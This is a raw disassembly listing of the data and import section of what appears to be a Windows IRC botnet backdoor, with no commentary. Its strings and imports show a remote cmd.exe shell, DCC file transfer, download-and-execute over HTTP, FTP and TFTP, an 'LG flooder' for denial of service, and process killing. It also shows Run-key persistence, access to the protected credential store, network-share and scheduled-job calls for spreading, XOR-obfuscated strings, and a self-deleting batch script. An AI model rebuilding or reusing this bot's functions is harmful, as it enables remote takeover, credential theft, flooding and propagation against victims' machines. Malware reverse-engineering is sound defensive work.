'GetModuleFileNameA',0 align 10h db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 3Bh ; ; db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 2ABh aReadfile db 'ReadFile',0 align 2 dw 152h aGetexitcodepro db 'GetExitCodeProcess',0 align 4 db 87h ; ‡ db 2, 50h, 65h aEknamedpipe db 'ekNamedPipe',0 db '`',0 aCreateprocessa db 'CreateProcessA',0 align 2 aM db 'Œ',0 aDuplicatehandl db 'DuplicateHandle',0 db 3Ah ; : db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 a__0 db '_',0 aCreatepipe db 'CreatePipe',0 align 2 dw 2D0h aSearchpatha db 'SearchPathA',0 db 97h ; — db 3, 57h, 72h aItefile db 'iteFile',0 db 69h ; i db 1, 47h, 65h aTlasterror db 'tLastError',0 align 4 db '=',0 aCopyfilea db 'CopyFileA',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 314h aSetfiletime db 'SetFileTime',0 db 5Dh ; ] db 1, 47h, 65h aTfiletime db 'tFileTime',0 aM_0 db 'M',0 aCreatefilea db 'CreateFileA',0 db 0E9h ; é db 1, 47h, 65h aTwindowsdirect db 'tWindowsDirectoryA',0 align 10h db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 0FFh db 2, 53h, 65h aTcurrentdirect db 'tCurrentDirectoryA',0 align 4 dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 46h ; F db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceExA',0 dw 14Bh aGetdrivetypea db 'GetDriveTypeA',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 29Ah aQueryperforman db 'QueryPerformanceFrequency',0 dw 299h aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h dd 54657461h, 61657268h, 2190064h aInitializecr_0 db 'InitializeCriticalSection',0 aP_0 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 247h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aI db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 3B3h aLstrcmpa db 'lstrcmpA',0 align 2 dw 150h aGetenvironment db 'GetEnvironmentVariableA',0 db 0BCh ; ¼ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 10h aZ db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 10h db 0Ah db 3, 53h, 65h aTerrormode db 'tErrorMode',0 align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 dw 2D5h aWsprintfa db 'wsprintfA',0 dw 177h aGetwindowtexta db 'GetWindowTextA',0 align 4 db 17h db 1, 47h, 65h aTforegroundwin db 'tForegroundWindow',0 aU_0 db 'ã',0 aFindwindowa db 'FindWindowA',0 db 3Ah ; : db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 10h db 97h ; — db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 aUser32_dll db 'USER32.dll',0 align 2 dw 1C9h aRegclosekey db 'RegCloseKey',0 dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h aCryptreleaseco db 'CryptReleaseContext',0 aC db '–',0 aCryptgenrandom db 'CryptGenRandom',0 align 2 aE db '…',0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 db 0BDh ; ½ db 1, 5Fh, 73h aTrcmpi db 'trcmpi',0 align 10h db 34h ; 4 db 1, 5Fh, 69h db 74h ; t db 6Fh, 61h, 0 db 0C5h ; Å db 1, 5Fh, 73h aTrnicmp db 'trnicmp',0 aA_0 db 'A',0 a_cxxthrowexcep db '_CxxThrowException',0 align 2 dw 0Eh a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 2 dw 252h aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 4 dd 6Dh dup(0) off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h ; DATA XREF: .packed:0041800Co dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0) dword_418040 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h ; DATA XREF: .packed:00418008o dd 0C9CFh, 0 dword_41805C dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: .packed:00418004o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0 dword_418098 dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: .packed:off_418000o dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h dd 0BBBAD0BBh, 0A3h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69hdword_4184C0 dd 7075202Ch, 69746164h, 676Ehunk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ahdword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775haModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40332B:loc_40342Ao align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40332B+F3o align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40332B:loc_40340Co align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40332B:loc_4033FAo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40332B+27o aUdp db 'udp',0 ; DATA XREF: sub_4038BA+27Co aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_403BD3:loc_403DCAo aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o align 10h aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_403BD3:loc_403DA3o aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_403BD3+184o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_403BD3+171o aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_403BD3+15Eo aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_403BD3:loc_403D23o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_403BD3:loc_403CC3o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_403BD3+A4o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_403BD3+91o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_403BD3+7Eo aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_403BD3+6Bo align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_403BD3+58o align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_403BD3+45o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_403BD3:loc_403C00o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_403BD3+6o align 10h aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o dword_4189C4 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_403DF3+6Eo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4189F8 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_403FE5+7Eo dd 30032074h, 73250234h, 203h dword_418A18 dd 333131h dword_418A1C dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0dword_418A30 dd 2E3031h dword_418A34 dd 2E323931h, 2E383631h, 0dword_418A40 dd 2E323731h, 0 dword_418A48 dd 2E373231h, 0 dword_418A50 dd 252E7525h, 75252E75h, 75252Eh ; sub_41113B+45Ao dword_418A5C dd 313A3Ah dword_418A60 dd 7525h ; sub_4055E5+69Eo ... dword_418A64 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; sub_4055E5+40Bo ... aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o ; sub_4055E5+3AFo ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+229o ; sub_4055E5+351o ... align 10h aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_405E45+109o align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o align 10h aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_405FA3:loc_405FC8o align 10h aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_405FA3+Fo align 4 aSystem db 'system',0 ; DATA XREF: sub_406041+136o ; .packed:0041BBD0o ... align 4 dword_418B04 dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40637C+FEo dd 732520h dword_418B1C dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40637C+51o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_418B44 dd 7473694Ch, 6F727020h, 73736563h, 7365hdword_418B54 dd 58323025h, 0 ; sub_4147E5+11o ... dword_418B5C dd 58383025h, 0 ; sub_40A9CF+1C12o dword_418B64 dd 7325h ; sub_406722+296o ... aHkus db 'HKUS',0 ; DATA XREF: sub_406722+8Do align 10h aHklm db 'HKLM',0 ; DATA XREF: sub_406722+6Bo align 4 aHkcu db 'HKCU',0 ; DATA XREF: sub_406722+49o align 10h aHkcr db 'HKCR',0 ; DATA XREF: sub_406722+27o align 4 off_418B88 dd offset dword_418DD0 ; DATA XREF: sub_406E8E+4Br ; sub_406E8E+8Dr ... off_418B8C dd offset dword_418DA8 ; DATA XREF: sub_406E8E+106r ; sub_406E8E+12Ar ... dd offset dword_418D98 dd offset dword_418DA8 dd offset loc_418D88 dd offset dword_418D64 dd offset dword_418D54 dd offset dword_418D34 dd offset loc_418D20 dd offset dword_418D34 dd offset dword_418D0C dd offset dword_418CF4 dd offset dword_418CE4 dd offset dword_418CD0 dd offset dword_418CBC dd offset dword_418C9C dd offset dword_418C88 dd offset dword_418C6C dd offset dword_418C5C dd offset dword_418C6C dd offset loc_418C4C dd offset dword_418C24 dd offset dword_418C10 dd offset dword_418BF0 align 10h dword_418BF0 dd 0E38C9592h, 0C4FDFFECh, 0A0A1ACA1h, 0EEB2FCB9h, 0D4CF88BAh ; DATA XREF: .packed:00418BE4o dd 0CDFEFCFBh, 9AE9A7h, 0 dword_418C10 dd 0E19799B6h, 0C7E0E3EFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .packed:00418BE0o dword_418C24 dd 0FD9F8C9Eh, 0D6F3EFEAh, 0EE86E3BCh, 0E5B9F881h, 0F0A8DCADh ; DATA XREF: .packed:00418BDCo dd 0C3E5E9F7h, 0ABBBACACh, 0E3A9EFBFh, 0BAh, 0 ; --------------------------------------------------------------------------- loc_418C4C: ; DATA XREF: .packed:00418BD8o mov esi, 0ADE28890h jmp loc_425440 ; --------------------------------------------------------------------------- align 4 dd 0 dword_418C5C dd 0FE808CACh, 8CE4FFCAh, 8DF4B0h, 0dword_418C6C dd 0FE808C8Ch, 82E0E9EFh, 9D8AF986h, 0E5B4EAB4h, 0E1AEDCB2h ; DATA XREF: .packed:00418BCCo ; .packed:00418BD4o dd 0F3h, 0 dword_418C88 dd 0FE808CACh, 0C1E4FFEFh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .packed:00418BC8o dword_418C9C dd 0F5819588h, 82E1FBECh, 0B99CE99Bh, 0A0ABEBA2h, 0F49D9599h ; DATA XREF: .packed:00418BC4o dd 0CEFEEDF4h, 2 dup(0) dword_418CBC dd 0F49D95B9h, 0CEFEEDF4h, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .packed:00418BC0o dword_418CD0 dd 0F0819588h, 0E3B2FCEEh, 0BA86E9B2h, 2 dup(0) ; DATA XREF: .packed:00418BBCo dword_418CE4 dd 0F08195A8h, 0C7BCFCEEh, 0E9ADh, 0dword_418CF4 dd 0F5819588h, 82E1FBECh, 0A298F490h, 0F2A5EBA2h, 2 dup(0) ; DATA XREF: .packed:00418BB4o dword_418D0C dd 0FD9F84BAh, 0D0F7FEECh, 0AB90E9FBh, 2 dup(0) ; DATA XREF: .packed:00418BB0o ; --------------------------------------------------------------------------- loc_418D20: ; DATA XREF: .packed:00418BA8o test al, 95h sbb eax, 0CCFDEBECh sti jmp loc_4238BE ; --------------------------------------------------------------------------- align 10h dd 0 dword_418D34 dd 0F5819588h, 82E1FBECh, 0A18FE399h, 0F081B9A3h, 0F28690AFh ; DATA XREF: .packed:00418BA4o ; .packed:00418BACo dd 0CDFBF8E2h, 0BBh, 0 dword_418D54 dd 0FE8893B3h, 0DAF7A2EDh, 0B0h, 0dword_418D64 dd 0F486909Ch, 0F1B2F8EDh, 0AB9EFEB0h, 0F592B9BFh, 0FC8688B1h ; DATA XREF: .packed:00418B9Co dd 0D0C2ACE6h, 0BD8DEFBAh, 0BEh, 0 ; --------------------------------------------------------------------------- loc_418D88: ; DATA XREF: .packed:00418B98o mov esp, 0ADE29D8Fh jmp loc_42557C ; --------------------------------------------------------------------------- align 8 dword_418D98 dd 0E28E8F96h, 0DAF7A2F0h, 0B0h, 0dword_418DA8 dd 0F08C9393h, 0C7C1ACEFh, 0A79AF9B6h, 0C1E0E0B9h, 0FE8788AAh ; DATA XREF: .packed:off_418B8Co ; .packed:00418B94o dd 0DBE6E5F1h, 0BC8DDFF5h, 0E5A3F0BBh, 2 dup(0) dword_418DD0 dd 0F09C8FB3h, 0DAF7A2F0h, 0B0h, 0dword_418DE0 dd 293Ah dword_418DE4 dd 5Ch ; sub_406AE7+1Bo ... dword_418DE8 dd 7078655Ch, 65726F6Ch, 78652E72h, 65haSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_406C51+1Co align 4 a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_406D90+A8o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_406D90+39o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do ; sub_407148+19Do align 10h aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o ; sub_407148+1C9o align 4 dword_418EB8 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40732D+115o dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_418EEC dd 6A657220h, 65746365h, 64hdword_418EF8 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40764D+6Ao dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_418F2C dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4077DD+9Co dd 34300320h, 3732502h, 2 dword_418F4C dd 20h ; sub_407928+96o ... dword_418F50 dd 30h ; sub_40CA29+13Do ... dword_418F54 dd 252E7325h, 73252E73h, 73252Eh ; sub_40806A+BDo dword_418F60 dd 0BF818FB2h, 0FFE3E0h, 0dword_418F6C dd 0BF988BA8h, 0D0E0E9F7h, 0A18BA2B4h, 0F2A2B7A0h, 2 dup(0) ; DATA XREF: sub_408887+14o dword_418F84 dd 0BF818FB2h, 0E9E7h, 0dword_418F90 dd 0FC9A9DBBh, 0D6F7E2ADh, 2 dup(0)dword_418FA0 dd 0F68093B8h, 0C3BCE9EFh, 0B0h, 0dword_418FB0 dd 0F48195B1h, 8CFCFFEEh, 0E085E3B6h, 0ECACh, 0off_418FC4 dd offset dword_4190E8 ; DATA XREF: sub_4088FC+19r ; sub_4088FC+60r off_418FC8 dd offset dword_4190B4 ; DATA XREF: sub_4088FC+8Ar dd offset dword_419098 dd offset dword_419054 dd offset dword_41903C dd offset dword_418FE4 dd 2 dup(0) dword_418FE4 dd 0FF9893BBh, 0C6F3E3EFh, 0A389EBFBh, 0F9EEEAA8h, 0FE8094BEh ; DATA XREF: .packed:00418FD8o dd 0CFFDEFADh, 0A389EBFAh, 0E4EFEAA8h, 0FD818BB0h, 8DF6EDECh dd 0A08FE5A6h, 0F0EFFDA8h, 0F08C8CB0h, 0C3EBA3F3h, 9187E3BDh dd 0E5AAFCAFh, 0F48399A8h, 0D6CDBEE7h, 0FFC5BDB8h, 0E5B8FCE3h dd 2 dup(0) dword_41903C dd 0F6C18FAAh, 0D1F7E1E2h, 0A791A2E4h, 0E3EEFEA0h, 91B0h ; DATA XREF: .packed:00418FD4o dd 0 dword_419054 dd 0FF9893BBh, 0C6F3E3EFh, 0FFC7BFFAh, 0B3EFFFE2h, 0A0DB9AEEh ; DATA XREF: .packed:00418FD0o dd 8FA5BEB7h, 0ABDCBCEDh, 0E6F8ADE0h, 0F2D7D1E6h, 97BFB4B2h dd 0F78CBDB4h, 0B8F5FBFEh, 0BE8ACFEAh, 0D1F3FFEEh, 0E08BE2ACh dd 0A5E1A8h, 0 dword_419098 dd 0FF9893BBh, 0C6F3E3EFh, 0AD81E1FBh, 0EFB3F6BFh, 0F2C188B9h ; DATA XREF: .packed:00418FCCo dd 0E1ECh, 0 dword_4190B4 dd 0F09B9DBBh, 8DFCE9ACh, 0E18FE5B7h, 0F2B2ECAEh, 0BE9B92BAh ; DATA XREF: .packed:off_418FC8o dd 0C5FDE3C4h, 0A1BCE9B9h, 0E1A2F5A2h, 0E281B5ADh, 0CEFEEDF7h dd 0ABC6FEB0h, 0FCB5h, 0 dword_4190E8 dd 0FD8093ABh, 8CE0EDE1h, 0A987E3B2h, 0E3EEFCA1h, 91B0h ; DATA XREF: .packed:off_418FC4o dd 0 off_419100 dd offset loc_415353+2 ; DATA XREF: sub_408342+2Co dword_419104 dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_4083AD+3CEo dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh 